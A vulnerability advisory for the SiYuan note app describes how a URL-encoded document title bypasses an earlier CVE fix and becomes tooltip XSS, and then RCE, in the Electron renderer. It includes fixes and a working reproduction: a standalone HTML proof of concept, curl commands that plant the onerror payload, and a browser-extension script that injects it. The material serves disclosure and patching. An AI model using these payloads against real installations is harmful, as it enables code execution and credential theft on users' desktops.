SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)

Why a "double HTML-decode" framing is wrong

A naïve reading of the chain might suggest that < (the encoder output) decodes once at attribute-parse time to <, then a second time at innerHTML time to < — yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a < reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.

The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.

Details

Encoder. app/src/util/escape.ts:19-25:

export const escapeAriaLabel = (html: string) => {
    if (!html) { return html; }
    return html.replace(/"/g, """).replace(/'/g, "'")
        .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;");
};

The four replacements only cover HTML special chars. %XX URL escapes are not touched.

Source — search-result rendering. app/src/search/util.ts:1406:

<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>

Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim — %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.

Consumer. app/src/block/popover.ts:33,144:

let tip = aElement.getAttribute("aria-label") || "";       // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...);       // ← decodes %XX into raw chars

decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.

Sink. app/src/dialog/tooltip.ts:41:

messageElement.innerHTML = message;     // ← HTML parser sees the now-decoded raw `<` and starts parsing tags

Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):

Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.

Suggested fix

1. Primary — app/src/dialog/tooltip.ts:41: replace

   messageElement.innerHTML = message;
   

   with

   messageElement.textContent = message;
   

   For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit {html: true} flag on showTooltip(...) and route the message through DOMPurify.sanitize(message) before assigning to innerHTML.

2. Drop decodeURIComponent at popover.ts:144 for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside try/catch with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.

3. Consolidate the four escape helpers in app/src/util/escape.ts (escapeHtml, escapeAttr, escapeAriaLabel, escapeGreat) into one Lute.EscapeHTMLStr-equivalent that escapes &, <, >, ", '. Context-specific encoders without compile-time enforcement keep producing bug-class variants.

4. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.

Prereqs

1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an AccessAuthCode (default).
2. Verify the kernel is up:

   curl -s http://127.0.0.1:6806/api/system/version
   # → {"code":0,"msg":"","data":"3.6.5"}
   

3. Create at least one notebook (the file tree's "+" button) so lsNotebooks returns a usable id. Pin variables:

   API=http://127.0.0.1:6806
   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
     -H 'Content-Type: application/json' -d '{}' \
     | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
   echo "Using notebook: $NOTEBOOK_ID"
   

Step A — Browser-only validation of the chain (no SiYuan needed)

This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:

<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
      aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E"
      hidden></span>
<button onclick="
  let tip = document.getElementById('src').getAttribute('aria-label');
  console.log('after getAttribute:', JSON.stringify(tip));
  try { tip = decodeURIComponent(tip); } catch(e){}
  console.log('after decodeURIComponent:', JSON.stringify(tip));
  document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>

Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.

Step B — Plant the payload in SiYuan

DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
  -H 'Content-Type: application/json' \
  -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"

curl -s -X POST $API/api/filetree/renameDocByID \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF

Verify the in-memory title round-trips:

curl -s -X POST $API/api/block/getDocInfo \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E

Step C — Trigger inside SiYuan

In the SiYuan desktop client:

1. Open the search panel (Ctrl+P / ⌘+P).
2. Type trigger.
3. The result list renders the doc with aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E (URL-escapes survived; " came from escapeAriaLabel and was decoded by the attribute parser to ").
4. Hover the result row. popover.ts:33 reads the attribute, popover.ts:144 calls decodeURIComponent (decoding %3C/%27/%3E to literal </'/>), tooltip.ts:41 writes innerHTML — HTML parser creates a real <img> element, onerror fires.
5. alert('SiYuan tooltip-XSS PoC') pops.

Step D — .sy.zip reproducer for upstream review

For maintainers who want a single-click reproducer:

ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"

Maintainer reproduces by importing via right-click a notebook → Import → SiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:

(async () => {
  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
    method: 'POST', headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(body)
  }).then(r => r.json());
  const nb = await api('/api/notebook/lsNotebooks', {});
  const id = (await api('/api/filetree/createDocWithMd', {
    notebook: nb.data.notebooks[0].id,
    path: '/x' + Date.now(),
    markdown: 'trigger'
  })).data;
  await api('/api/filetree/renameDocByID', {
    id,
    title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
  });
})();

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
  -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
  | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

Impact

• RCE on the victim's desktop, triggered by hovering a search result (or any other class="ariaLabel" element rendering attacker-controlled metadata).
• Doc titles are the most commonly-shared field — recipients of .sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.
• Same post-RCE consequences as Advisory 1: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json), persistence, cloud-account pivot.
• Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with class="ariaLabel" and aria-label="${escapeAriaLabel(...)}" reaches the same popover.ts → tooltip.ts chain.
• CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for decodeURIComponent being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal < characters that initiate tag parsing. A consumer-side fix (textContent, or DOMPurify.sanitize on the rich-text path; and removing the unconditional decodeURIComponent) is required.